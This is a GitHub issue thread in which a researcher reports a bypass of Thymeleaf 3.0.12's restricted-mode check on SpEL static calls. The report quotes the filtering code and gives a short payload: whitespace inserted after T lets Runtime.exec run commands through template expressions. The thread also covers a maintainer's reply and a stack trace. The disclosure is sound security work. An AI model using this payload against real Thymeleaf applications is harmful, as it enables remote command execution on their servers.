Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Restriction for the execution of static code in restricted mode can be bypassed #256

Closed
threedr3am opened this issue Apr 25, 2021 · 3 comments

Comments

@threedr3am
Copy link

Hello, i'm threedr3am. I found that Thymeleaf 3.0.12 version provides a new function Restricted mode to restrict the execution of statements such as T(java.lang.String) and new java.lang.String().

0x01 Vulnerability details

thymeleaf/thymeleaf#809

spring3、spring4、spring5

https://github.com/thymeleaf/thymeleaf-spring/blob/3.0-master/thymeleaf-spring3/src/main/java/org/thymeleaf/spring3/util/SpringStandardExpressionUtils.java

https://github.com/thymeleaf/thymeleaf-spring/blob/3.0-master/thymeleaf-spring4/src/main/java/org/thymeleaf/spring4/util/SpringStandardExpressionUtils.java

https://github.com/thymeleaf/thymeleaf-spring/blob/3.0-master/thymeleaf-spring5/src/main/java/org/thymeleaf/spring5/util/SpringStandardExpressionUtils.java

public static boolean containsSpELInstantiationOrStatic(final String expression) {

        /*
         * Checks whether the expression contains instantiation of objects ("new SomeClass") or makes use of
         * static methods ("T(SomeClass)") as both are forbidden in certain contexts in restricted mode.
         */

        final int explen = expression.length();
        int n = explen;
        int ni = 0; // index for computing position in the NEW_ARRAY
        int si = -1;
        char c;
        while (n-- != 0) {

            c = expression.charAt(n);

            // When checking for the "new" keyword, we need to identify that it is not a part of a larger
            // identifier, i.e. there is whitespace after it and no character that might be a part of an
            // identifier before it.
            if (ni < NEW_LEN
                    && c == NEW_ARRAY[ni]
                    && (ni > 0 || ((n + 1 < explen) && Character.isWhitespace(expression.charAt(n + 1))))) {
                ni++;
                if (ni == NEW_LEN && (n == 0 || !Character.isJavaIdentifierPart(expression.charAt(n - 1)))) {
                    return true; // we found an object instantiation
                }
                continue;
            }

            if (ni > 0) {
                // We 'restart' the matching counter just in case we had a partial match
                n += ni;
                ni = 0;
                if (si < n) {
                    // This has to be restarted too
                    si = -1;
                }
                continue;
            }

            ni = 0;

            if (c == ')') {
                si = n;
            } else if (si > n && c == '('
                        && ((n - 1 >= 0) && (expression.charAt(n - 1) == 'T'))
                        && ((n - 1 == 0) || !Character.isJavaIdentifierPart(expression.charAt(n - 2)))) {
                return true;
            } else if (si > n && !(Character.isJavaIdentifierPart(c) || c == '.')) {
                si = -1;
            }

        }

        return false;

}

However, I found through research that this security check can be bypassed by simply changing the expression.
such as:

T(java.lang.String)

You can add a null character between T and (to bypass the detection

T     (java.lang.String)

0x02 EXP

So, I can still execute commands through expressions, leading to RCE, remote command execution

${T    (java.lang.Runtime).getRuntime().exec("whoami")}

0x03 Other

The affected projects also include: https://github.com/thymeleaf/thymeleaf-spring

@danielfernandez
Copy link
Member

Thanks for the report. Although I agree this needs to be addressed, I would not consider this a security vulnerability as such, as this behaviour cannot be provoked from the outside: this is a developer willingly finding a way to bypass a security-oriented restriction by forcing Spring EL's syntax.

@danielfernandez danielfernandez changed the title Report a security vulnerability for Restricted mode bypass Restriction for the execution of static code in restricted mode can be bypassed Apr 25, 2021
@threedr3am
Copy link
Author

That's right, under normal circumstances, there is no way to attack from the outside, but I found that when there is such a controller, it will be able to pass in SPEL from the outside and execute:
image

I found some github projects that will be affected, and there are vulnerabilities in remote command execution.

@threedr3am
Copy link
Author

The stack info:

renderFragment:282, ThymeleafView (org.thymeleaf.spring5.view)
render:190, ThymeleafView (org.thymeleaf.spring5.view)
render:1373, DispatcherServlet (org.springframework.web.servlet)
processDispatchResult:1118, DispatcherServlet (org.springframework.web.servlet)
doDispatch:1057, DispatcherServlet (org.springframework.web.servlet)
doService:943, DispatcherServlet (org.springframework.web.servlet)
...

try {
    // By parsing it as a standard expression, we might profit from the expression cache
    fragmentExpression = (FragmentExpression) parser.parseExpression(context, "~{" + viewTemplateName + "}");
} catch (final TemplateProcessingException e) {
    throw new IllegalArgumentException("Invalid template name specification: '" + viewTemplateName + "'");
}

image

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Projects
None yet
Development

No branches or pull requests

2 participants